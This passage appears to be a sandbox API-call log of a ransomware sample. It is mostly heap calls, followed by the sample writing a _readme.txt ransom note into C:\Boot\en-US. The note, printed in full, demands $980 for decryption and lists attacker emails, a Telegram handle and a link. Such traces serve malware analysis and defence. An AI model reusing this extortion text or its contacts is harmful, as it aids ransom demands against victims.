HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.501] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0124.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.501] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.501] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.501] PathFindFileNameW (pszPath="") returned="" [0124.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.501] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.501] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.501] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.501] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.501] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0124.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.501] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.501] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0124.503] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.503] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.503] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.503] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.503] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.503] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.503] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.503] HeapFree (in: 